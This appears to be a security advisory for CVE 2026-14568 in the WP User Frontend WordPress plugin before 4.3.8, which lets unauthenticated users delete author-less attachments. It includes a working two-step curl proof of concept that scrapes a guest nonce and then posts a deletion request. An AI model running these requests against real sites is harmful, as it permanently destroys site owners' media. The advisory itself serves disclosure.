WP User Frontend < 4.3.8 – Unauthenticated Author-less Attachment Deletion | CVE 2026-14568

Description

The plugin does not correctly verify ownership before deleting an attachment, allowing unauthenticated attackers to permanently delete author-less attachments such as guest uploads and plugin-installed placeholder media.

Proof of Concept

# Prerequisite: a post_author=0 attachment exists (e.g. WooCommerce's woocommerce-placeholder image,
# a WPUF guest upload, or any other plugin's nopriv-uploaded media).

# 1) Scrape the guest wpuf_nonce from any public WPUF form page (registration / login / submit / profile):
curl -s 'https://victim.example/register/' | grep -oE '"nonce":"[a-f0-9]+"' | head -1
#    -> "nonce":"5e5256340d"

# 2) Unauthenticated deletion of an author-less attachment (attach_id=7 = WooCommerce placeholder):
curl -s -X POST 'https://victim.example/wp-admin/admin-ajax.php' \
  -d 'action=wpuf_file_del&attach_id=7&nonce=5e5256340d'
#    Vulnerable (<= 4.3.7): {"success":true,...}  -- the DB row AND the on-disk file are permanently gone.
#    Fixed (4.3.8):         {"success":false,"data":{"message":"You are not allowed to delete this attachment."}}